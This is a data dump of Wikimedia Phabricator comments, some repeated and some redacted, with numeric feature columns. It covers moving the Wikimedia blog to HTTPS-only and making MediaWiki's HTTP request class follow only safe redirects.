src=""https://wikimediablog.files.wordpress.com/2011/06/amount-of-content-added-by-students-06-06-2011.png?w=635&#038;h=455""
```
Automattic confirmed that this is stable behavior that can be relied on.   
- Nevertheless, it still seems prudent to **convert these HTTP thumbnails** and the upload.wikimedia.org ones to HTTPS once and for all, also in case the hosting configuration changes in the future. I wrote the required WP-CLI commands (they are quite simple) and tested them in my local Quickstart environment as recommended by Automattic (Quickstart is the Vagrant version of the VIP environment they provide for testing purposes). @Seb35: Thanks for the tip! But plugins need to satisfy Automattic's code review standards for VIP and many don't, and as mentioned it seems prudent to make the change permanent anyway.
- I used [[https://github.com/bramus/mixed-content-scan | this tool]] to do an automated **scan for mixed content warnings**; it accessed over 6000 pages on the blog (that's more than the number of actual posts, it also includes comment pages and e.g. https://blog.wikimedia.org/2010/ ) and found only five posts with remaining warnings, which I will fix manually.
- I got the hint to use that tool along with some other great advice from members of the WordPress in Enterprise Slack community, in particular Paul Schreiber,  coauthor of [[https://docs.google.com/document/d/1EJKAoa4Hxc4AyH0znuA_AAplcNeNejEhATFptFX-OME/edit?pli=1|this HTTPS guide]], which contains some caveats on how e.g. Facebook Likes and comments are treating the HTTP and HTTPS versions of a web page as two separate pages (meaning that the switch could have some impact retroactively on Like numbers). It seems Facebook uses the canonical URL or the ""or:url"" parameter to sort that out, but that Twitter is a bit more brittle, using the separate ""counturl"" query parameter or the ""data-counturl"" attribute - AIUI if that contains the HTTPS version, HTTP links aren't counted etc. In any case, I think we've already been quite consistently sharing the HTTPS versions of blog posts on social media for a while now, so these risks should be pretty low here. However, they also advised that the **canonical URLs are forced to HTTP** on purpose on WordPress VIP ([[https://github.com/Automattic/vip-mu-plugins-public/blob/master/vip-helpers/vip-permastructs.php | here ]] is the code that does that, https://core.trac.wordpress.org/ticket/30581 and https://core.trac.wordpress.org/ticket/28521 are related open bugs for WordPress in general). I'm not quite sure yet what to make of all that and what's the ideal configuration we'd want Automattic to set for us. Input welcome.",,,1440230828,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,7,True,1.2857142857142858,0.0,0.0,0.5714285714285714,0.42857142857142855,5.857142857142857,1.1428571428571428,0.0,0.0,0.14285714285714285,2.857142857142857,0.7142857142857143,0.0,0.14285714285714285,0.0,2.142857142857143,0.0,6.0,11.285714285714286,0.0,1.4285714285714286,0.2857142857142857,0.2857142857142857,0.0,1.2857142857142858,0.42857142857142855,0.0,0.14285714285714285,0.2857142857142857,0.42857142857142855,0.0,4.571428571428571,0.7142857142857143,1.0,0.8571428571428571,0.14285714285714285,0.42857142857142855,0.42857142857142855,0.42857142857142855,0.5714285714285714,0.0,0.5714285714285714,0.42857142857142855,1.5714285714285714,0.0,0.14285714285714285,0.0,0.2857142857142857,0.42857142857142855,12.714285714285714,0.7142857142857143,1.2857142857142858,0.14285714285714285,0.42857142857142855,0.0,0.0,0.0,0.14285714285714285,0.8571428571428571,0.2857142857142857,0.2857142857142857,0.5714285714285714,0.0,0.2857142857142857,0.0,0.2857142857142857,0.0,5.142857142857143,2.142857142857143,10.714285714285714,1.2857142857142858,2.5714285714285716,8.285714285714286,0.0,0.0,0.14285714285714285,0.0,3.0,0.14285714285714285,0.5714285714285714,0.0,4.0,11.285714285714286,5.571428571428571,0.0,1.0,0.0,4.0,0.0,1.4285714285714286,0.8571428571428571,0.42857142857142855,1.4285714285714286,0.2857142857142857,0.0,1.7142857142857142,3.939319914012116,0.7486808676959156,"Hi Faidon, you should actually still be on CC for the internal ticket via Zendesk. But just to be sure, I will make sure to CC explicitly in my next response to Automattic, which I intend to send this weekend once I find a bit of time to work on the remaining items (see below).

In the meantime, a quick summary of what has happened since the last public update here:

  - It turned out that Automattic's caching layer and CDN actually **rewrites many src=""http..."" links to HTTPS anyway**, including all references to the blog's wordpress files subdomain itself. E.g. in [[URL |this post]], this code in the source:

``CODE`CODE`CODE``
Automattic confirmed that this is stable behavior that can be relied on.   
- Nevertheless, it still seems prudent to **convert these HTTP thumbnails** and the upload.wikimedia.org ones to HTTPS once and for all, also in case the hosting configuration changes in the future. I wrote the required WP-CLI commands (they are quite simple) and tested them in my local Quickstart environment as recommended by Automattic (Quickstart is the Vagrant version of the VIP environment they provide for testing purposes).SCREEN_NAME: Thanks for the tip! But plugins need to satisfy Automattic's code review standards for VIP and many don't, and as mentioned it seems prudent to make the change permanent anyway.
- I used [[URL | this tool]] to do an automated **scan for mixed content warnings**; it accessed over 6000 pages on the blog (that's more than the number of actual posts, it also includes comment pages and e.g. URL ) and found only five posts with remaining warnings, which I will fix manually.
- I got the hint to use that tool along with some other great advice from members of the WordPress in Enterprise Slack community, in particular Paul Schreiber,  coauthor of [[URL HTTPS guide]], which contains some caveats on how e.g. Facebook Likes and comments are treating the HTTP and HTTPS versions of a web page as two separate pages (meaning that the switch could have some impact retroactively on Like numbers). It seems Facebook uses the canonical URL or the ""or:url"" parameter to sort that out, but that Twitter is a bit more brittle, using the separate ""counturl"" query parameter or the ""data-counturl"" attribute - AIUI if that contains the HTTPS version, HTTP links aren't counted etc. In any case, I think we've already been quite consistently sharing the HTTPS versions of blog posts on social media for a while now, so these risks should be pretty low here. However, they also advised that the **canonical URLs are forced to HTTP** on purpose on WordPress VIP ([[URL | here ]] is the code that does that, URL and URL are related open bugs for WordPress in general). I'm not quite sure yet what to make of all that and what's the ideal configuration we'd want Automattic to set for us. Input welcome."
512756,Switch blog to HTTPS-only,"Hi Faidon, you should actually still be on CCed for the internal ticket via Zendesk. But just to be sure, I will make sure to CC explicitly in my next response to Automattic, which I intend to send this weekend once I find a bit of time to work on the remaining items (see below).

In the meantime, a quick summary of what has happened since the last public update here:

  - It turned out that Automattic's caching layer and CDN actually **rewrites many src=""http..."" links to HTTPS anyway**, including all references to the blog's wordpress files subdomain itself. E.g. in [[https://blog.wikimedia.org/2011/06/08/public-policy-initiative-wraps-up-pilot-academic-year/ |this post]], this code in the source:

```

src=""http://wikimediablog.files.wordpress.com/2011/06/amount-of-content-added-by-students-06-06-2011.png""
```
becomes the following in the publicly displayed HTML:

```
src=""https://wikimediablog.files.wordpress.com/2011/06/amount-of-content-added-by-students-06-06-2011.png?w=635&#038;h=455""
```
Automattic confirmed that this is stable behavior that can be relied on.   
- Nevertheless, it still seems prudent to **convert these HTTP thumbnails** and the upload.wikimedia.org ones to HTTPS once and for all, also in case the hosting configuration changes in the future. I wrote the required WP-CLI commands (they are quite simple) and tested them in my local Quickstart environment as recommended by Automattic (Quickstart is the Vagrant version of the VIP environment they provide for testing purposes). @Seb35: Thanks for the tip! But plugins need to satisfy Automattic's code review standards for VIP and many don't, and as mentioned it seems prudent to make the change permanent anyway.
- I used [[https://github.com/bramus/mixed-content-scan | this tool]] to do an automated **scan for mixed content warnings**; it accessed over 6000 pages on the blog (that's more than the number of actual posts, it also includes comment pages and e.g. https://blog.wikimedia.org/2010/ ) and found only five posts with remaining warnings, which I will fix manually.
- I got the hint to use that tool along with some great advice from members of the WordPress in Enterprise Slack community, in particular Paul Schreiber,  coauthor of [[https://docs.google.com/document/d/1EJKAoa4Hxc4AyH0znuA_AAplcNeNejEhATFptFX-OME/edit?pli=1|this HTTPS guide]], which contains some caveats on how e.g. Facebook Likes and comments are treating the HTTP and HTTPS versions of a web page as two separate pages (meaning that the switch could have some impact retroactively on Like numbers). It seems Facebook uses the canonical URL or the ""or:url"" parameter to sort that out, but that Twitter is a bit more brittle, using the separate ""counturl"" query parameter or the ""data-counturl"" attribute - AIUI if that contains the HTTPS version, HTTP links aren't counted etc. In any case, I think we've already been quite consistently sharing the HTTPS versions of blog posts on social media for a while now, so these risks should be pretty low here. However, they also advised that the **canonical URLs are forced to HTTP** on purpose on WordPress VIP ([[https://github.com/Automattic/vip-mu-plugins-public/blob/master/vip-helpers/vip-permastructs.php | here ]] is the code that does that, https://core.trac.wordpress.org/ticket/30581 and https://core.trac.wordpress.org/ticket/28521 are related open bugs for WordPress in general). I'm not quite sure yet what to make of all that and what's the ideal configuration we'd want Automattic to set for us. Input welcome.",,,1440230760,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,7,True,1.5,0.0,0.0,0.6666666666666666,0.5,6.5,1.3333333333333333,0.0,0.0,0.16666666666666666,3.3333333333333335,0.8333333333333334,0.0,0.16666666666666666,0.0,2.3333333333333335,0.0,6.666666666666667,12.833333333333334,0.0,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.0,1.5,0.5,0.0,0.16666666666666666,0.3333333333333333,0.5,0.0,5.166666666666667,0.8333333333333334,1.1666666666666667,1.0,0.16666666666666666,0.5,0.5,0.5,0.6666666666666666,0.0,0.6666666666666666,0.5,1.8333333333333333,0.0,0.16666666666666666,0.0,0.3333333333333333,0.5,14.5,0.8333333333333334,1.5,0.16666666666666666,0.5,0.0,0.0,0.0,0.16666666666666666,1.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,5.833333333333333,2.3333333333333335,12.166666666666666,1.5,3.0,9.5,0.0,0.0,0.16666666666666666,0.0,3.3333333333333335,0.16666666666666666,0.6666666666666666,0.0,4.5,12.833333333333334,6.5,0.0,1.1666666666666667,0.0,4.5,0.0,1.5,1.0,0.5,1.6666666666666667,0.3333333333333333,0.0,2.0,3.9416666666666664,0.735,"Hi Faidon, you should actually still be on CCed for the internal ticket via Zendesk. But just to be sure, I will make sure to CC explicitly in my next response to Automattic, which I intend to send this weekend once I find a bit of time to work on the remaining items (see below).

In the meantime, a quick summary of what has happened since the last public update here:

  - It turned out that Automattic's caching layer and CDN actually **rewrites many src=""http..."" links to HTTPS anyway**, including all references to the blog's wordpress files subdomain itself. E.g. in [[URL |this post]], this code in the source:

``CODE`CODE`CODE``
Automattic confirmed that this is stable behavior that can be relied on.   
- Nevertheless, it still seems prudent to **convert these HTTP thumbnails** and the upload.wikimedia.org ones to HTTPS once and for all, also in case the hosting configuration changes in the future. I wrote the required WP-CLI commands (they are quite simple) and tested them in my local Quickstart environment as recommended by Automattic (Quickstart is the Vagrant version of the VIP environment they provide for testing purposes).SCREEN_NAME: Thanks for the tip! But plugins need to satisfy Automattic's code review standards for VIP and many don't, and as mentioned it seems prudent to make the change permanent anyway.
- I used [[URL | this tool]] to do an automated **scan for mixed content warnings**; it accessed over 6000 pages on the blog (that's more than the number of actual posts, it also includes comment pages and e.g. URL ) and found only five posts with remaining warnings, which I will fix manually.
- I got the hint to use that tool along with some great advice from members of the WordPress in Enterprise Slack community, in particular Paul Schreiber,  coauthor of [[URL HTTPS guide]], which contains some caveats on how e.g. Facebook Likes and comments are treating the HTTP and HTTPS versions of a web page as two separate pages (meaning that the switch could have some impact retroactively on Like numbers). It seems Facebook uses the canonical URL or the ""or:url"" parameter to sort that out, but that Twitter is a bit more brittle, using the separate ""counturl"" query parameter or the ""data-counturl"" attribute - AIUI if that contains the HTTPS version, HTTP links aren't counted etc. In any case, I think we've already been quite consistently sharing the HTTPS versions of blog posts on social media for a while now, so these risks should be pretty low here. However, they also advised that the **canonical URLs are forced to HTTP** on purpose on WordPress VIP ([[URL | here ]] is the code that does that, URL and URL are related open bugs for WordPress in general). I'm not quite sure yet what to make of all that and what's the ideal configuration we'd want Automattic to set for us. Input welcome."
512331,Switch blog to HTTPS-only,Any news from the internal ticket?,,,1440166097,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,7,True,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,Any news from the internal ticket?
509203,Switch blog to HTTPS-only,"For linked resources like images in posts, it can be used a plugin search-replace. I used ""Better Search Replace"" to move a WordPress blog, but probably other plugins can do the job also.",,,1439761045,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,15.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.7804878048780486,0.8536585365853658,"For linked resources like images in posts, it can be used a plugin search-replace. I used ""Better Search Replace"" to move a WordPress blog, but probably other plugins can do the job also."
497541,Switch blog to HTTPS-only,"Update: I filed a request about this with Automattic last week (internal ticket number: #43195), and they think the process outlined by Faidon should work fine. Regarding the first step ( this mainly concerns older posts where http://upload.Wikimedia.org thumbnails would need to be converted to https://upload.wikimedia.org), they recommend to either filter the content to rewrite HTTP thumbnail links before a page is rendered, or to write a WP-CLI script that searches and replaces them with HTTPS links. I will look into the latter.",,,1438015406,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,12.0,0.0,4.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,6.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,7.0,2.0,13.0,1.0,4.0,9.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,5.0,12.0,4.0,0.0,0.0,0.0,5.0,0.0,2.0,3.0,1.0,1.0,1.0,0.0,0.0,4.242105263157895,0.7789473684210526,"Update: I filed a request about this with Automattic last week (internal ticket number: #43195), and they think the process outlined by Faidon should work fine. Regarding the first step ( this mainly concerns older posts where URL thumbnails would need to be converted to URL they recommend to either filter the content to rewrite HTTP thumbnail links before a page is rendered, or to write a WP-CLI script that searches and replaces them with HTTPS links. I will look into the latter."
492044,Switch blog to HTTPS-only,"Also see {T104727}, {T104726}",,,1437001157,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.888888888888889,0.7777777777777778,"Also see {T104727}, {T104726}"
105765,MWHttpRequest's redirect behavior is terrible,"Per T102566#1449713 and beyond, and T103043#1381527 and the reply...our current behavior of `$followRedirects` in MWHttpRequest and children is problematic and renders it basically useless. It's an all-or-none proposition, with no sorts of verifications along the way to make sure we're doing safe things.

We should do the following:
# Always allow redirects from HTTP -> HTTPS versions of the same URL (or domain?)
# Never allow redirects from HTTPS -> HTTP unless the URL (or domain?) matches.
# Remove the flag for enabling/disabling redirection after (1) and (2) are done.

Allowing us to always redirect in safe cases and never redirect in unsafe cases allows this to behave in a way that will actually make it useful and help things like HTTP -> HTTPS transitions much easier on our users.",Medium,50.0,1436836786,,PHID-USER-oetk6bbl6omm354ejz3b,False,,False,PHID-TASK-qcoorn3zdoytjsrwrbgh,task_description,open,True,c3,3,True,False,,1,True,1.0,0.0,0.0,0.5,0.0,5.5,0.5,0.0,0.0,0.5,2.5,0.5,0.0,0.0,0.0,2.5,0.0,4.5,11.5,0.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.0,0.0,1.5,0.5,0.0,0.0,0.0,1.0,2.5,0.5,0.0,0.0,2.5,0.0,0.5,0.0,0.5,0.0,12.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.5,0.5,0.0,0.0,0.5,0.0,4.5,1.0,10.5,0.5,6.0,5.5,0.0,0.0,0.0,1.5,7.0,0.0,0.5,0.0,4.5,11.5,4.5,1.0,0.0,0.0,4.5,0.0,0.5,1.0,0.5,3.0,0.5,0.0,2.5,3.963855421686747,0.7951807228915663,"Per T102566#1449713 and beyond, and T103043#1381527 and the reply...our current behavior of CODE in MWHttpRequest and children is problematic and renders it basically useless. It's an all-or-none proposition, with no sorts of verifications along the way to make sure we're doing safe things.

We should do the following:
# Always allow redirects from HTTP -> HTTPS versions of the same URL (or domain?)
# Never allow redirects from HTTPS -> HTTP unless the URL (or domain?) matches.
# Remove the flag for enabling/disabling redirection after (1) and (2) are done.

Allowing us to always redirect in safe cases and never redirect in unsafe cases allows this to behave in a way that will actually make it useful and help things like HTTP -> HTTPS transitions much easier on our users."
491595,MWHttpRequest's redirect behavior is terrible,">>! In T103043#1381527, @hashar wrote:
>> MWHttpRequest refuses to follow a HTTP->HTTPS redirect
> 
> Our Http class has `followRedirects` defaulting to false with the comment:
> 
>> Note: this should only be used when the target URL is trusted, to avoid attacks on intranet services accessible by HTTP.
> 
> And indeed we don't set followRedirects when setting up the wikimediacommons wgForeignFileRepos.
> 
> @demon follow up by filling {T105765}
",,,1436950151,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-qcoorn3zdoytjsrwrbgh,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,45.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.1,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
"
491437,MWHttpRequest's redirect behavior is terrible,"I like giving control with sane defaults, so I'd opt for making followRedirects a flag that indicates the behavior.
* false - don't follow
* 'ssl' (make this the default) - only allow http->https
* 'samedomain' - allow redirects anywhere in the same fqdn
* true - follow all redirects",,,1436903418,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qcoorn3zdoytjsrwrbgh,task_subcomment,,True,c3,3,True,,,1,True,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,3.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,3.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,6.0,2.0,0.0,6.0,0.0,3.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,3.734375,0.71875,"I like giving control with sane defaults, so I'd opt for making followRedirects a flag that indicates the behavior.
* false - don't follow
* 'ssl' (make this the default) - only allow http->https
* 'samedomain' - allow redirects anywhere in the same fqdn
* true - follow all redirects"
491287,MWHttpRequest's redirect behavior is terrible,">>! In T105765#1451244, @Tgr wrote:
> Sometimes redirects are intentional, e.g. Special:Random. I don't think there is anything to gain by getting rid of them completely.

That has nothing to do with how MW fetches HTTP content though (which is what we're talking about here), that's just a redirect header after we load the initial page and find out it's a redirect.",,,1436878851,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-qcoorn3zdoytjsrwrbgh,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,6.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,11.0,4.0,2.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,13.0,4.0,0.0,0.0,0.0,6.0,0.0,9.0,4.0,0.0,2.0,0.0,0.0,0.0,3.6808510638297873,0.8936170212765957,"QUOTE
QUOTE

That has nothing to do with how MW fetches HTTP content though (which is what we're talking about here), that's just a redirect header after we load the initial page and find out it's a redirect."
491208,MWHttpRequest's redirect behavior is terrible,"Sometimes redirects are intentional, e.g. Special:Random. I don't think there is anything to gain by getting rid of them completely.",,,1436847201,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-qcoorn3zdoytjsrwrbgh,task_subcomment,,True,c3,3,True,,,1,True,0.0,4.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,4.0,0.0,15.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,12.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.346153846153846,0.9615384615384616,"Sometimes redirects are intentional, e.g. Special:Random. I don't think there is anything to gain by getting rid of them completely."
491189,MWHttpRequest's redirect behavior is terrible,">>! In T105765#1451163, @BBlack wrote:
> I really don't know what all the fallout implications are for (3).  Are there cases where we do want to follow general redirects?
> 

Wherps, sorry if I was unclear. I was mainly writing this from the approach that redirects are bad unless we decide they're ok. If we removed the flag, we'd make the decision consciously that redirects are inherently bad unless they match one of the domain/URL/protocol match cases.

If we don't remove it, I assume it would be repurposed into a ""take off the safety and blow your feet off"" switch.

> Re: domain-vs-hostname-vs-URL for the redirect-safety distinction: for the most-common HTTPS case, allowing a switch of protocol only (everything matches except for HTTP->HTTPS) would be sufficient.  You could argue for same-domain too, but that gets tricky with defining authority boundaries for security: should the boundary be at the first, second, third, or beyond level of domainname (e.g. tesco.co.uk vs wikimedia.org)?
> 

Yeah, I think this part is debatable. The only reason I asked was because it came up in an IRC convo between myself and @csteipp about it. His input here would be good :)

> I'd say for the (1)+(2) part: always allow a switch from HTTP to HTTPS iff the rest of the URL is identical (clear protocol-upgrade redirect case), regardless of whether the flag can be killed in (3) or what it's set to if it isn't.  And don't bother implementing a downgrade option for HTTPS->HTTP.

Yeah, so I think it'll be (1) + do we decide about repurposing the flag per earlier in this reply.",,,1436838082,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-qcoorn3zdoytjsrwrbgh,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.5,0.5,4.0,3.5,0.5,0.0,2.5,1.0,2.0,0.0,0.5,0.0,6.5,0.5,4.0,11.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,2.0,0.0,6.0,3.5,3.0,1.0,0.5,0.0,0.0,0.5,1.5,0.0,1.5,0.5,0.5,0.0,2.0,0.5,0.0,0.0,12.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,12.0,4.0,1.0,6.5,0.0,0.5,0.0,0.0,4.5,1.5,1.0,0.0,11.5,11.0,2.5,0.0,1.0,0.0,11.5,0.0,0.0,1.0,0.5,1.0,0.5,0.0,0.0,3.6543209876543212,0.7037037037037037,"QUOTE
QUOTE
QUOTE

Wherps, sorry if I was unclear. I was mainly writing this from the approach that redirects are bad unless we decide they're ok. If we removed the flag, we'd make the decision consciously that redirects are inherently bad unless they match one of the domain/URL/protocol match cases.

If we don't remove it, I assume it would be repurposed into a ""take off the safety and blow your feet off"" switch.

QUOTE
QUOTE

Yeah, I think this part is debatable. The only reason I asked was because it came up in an IRC convo between myself andSCREEN_NAME about it. His input here would be good :)

QUOTE

Yeah, so I think it'll be (1) + do we decide about repurposing the flag per earlier in this reply."
491187,MWHttpRequest's redirect behavior is terrible,"I really don't know what all the fallout implications are for (3).  Are there cases where we do want to follow general redirects?

Re: domain-vs-hostname-vs-URL for the redirect-safety distinction: for the most-common HTTPS case, allowing a switch of protocol only (everything matches except for HTTP->HTTPS) would be sufficient.  You could argue for same-domain too, but that gets tricky with defining authority boundaries for security: should the boundary be at the first, second, third, or beyond level of domainname (e.g. tesco.co.uk vs wikimedia.org)?

I'd say for the (1)+(2) part: always allow a switch from HTTP to HTTPS iff the rest of the URL is identical (clear protocol-upgrade redirect case), regardless of whether the flag can be killed in (3) or what it's set to if it isn't.  And don't bother implementing a downgrade option for HTTPS->HTTP.",,,1436837494,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-qcoorn3zdoytjsrwrbgh,task_subcomment,,True,c3,3,True,,,1,True,0.5,0.5,0.0,0.5,1.5,6.0,2.0,0.0,0.0,0.5,1.0,2.0,0.0,0.5,0.5,1.5,0.5,5.5,14.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,0.5,1.0,1.0,0.5,0.0,0.0,2.5,1.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,0.0,14.0,0.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.5,0.0,0.5,6.5,3.5,6.5,2.0,2.0,7.5,0.0,0.0,0.0,0.0,5.0,0.0,1.5,0.0,3.0,14.0,2.5,1.0,0.0,0.0,3.0,0.0,1.5,1.5,0.0,1.5,0.0,0.5,1.0,3.8350503919372896,0.7459686450167973,"I really don't know what all the fallout implications are for (3).  Are there cases where we do want to follow general redirects?

Re: domain-vs-hostname-vs-URL for the redirect-safety distinction: for the most-common HTTPS case, allowing a switch of protocol only (everything matches except for HTTP->HTTPS) would be sufficient.  You could argue for same-domain too, but that gets tricky with defining authority boundaries for security: should the boundary be at the first, second, third, or beyond level of domainname (e.g. tesco.co.uk vs wikimedia.org)?

I'd say for the (1)+(2) part: always allow a switch from HTTP to HTTPS iff the rest of the URL is identical (clear protocol-upgrade redirect case), regardless of whether the flag can be killed in (3) or what it's set to if it isn't.  And don't bother implementing a downgrade option for HTTPS->HTTP."
491186,MWHttpRequest's redirect behavior is terrible,"I really don't know what all the fallout implications are for (3).  Are there cases where we do want to follow general redirects?

Re: domain-vs-hostname-vs-URL for the redirect-safety distinction: for the most-common HTTPS case, allowing a switch of protocol only (everything matches except for HTTP->HTTPS) would be sufficient.  You could argue for same-domain too, but that gets tricky with defining authority boundaries for security: should the boundary be at the first, second, third, or beyond level of domainname (e.g. tesco.co.uk vs wikimedia.org)?

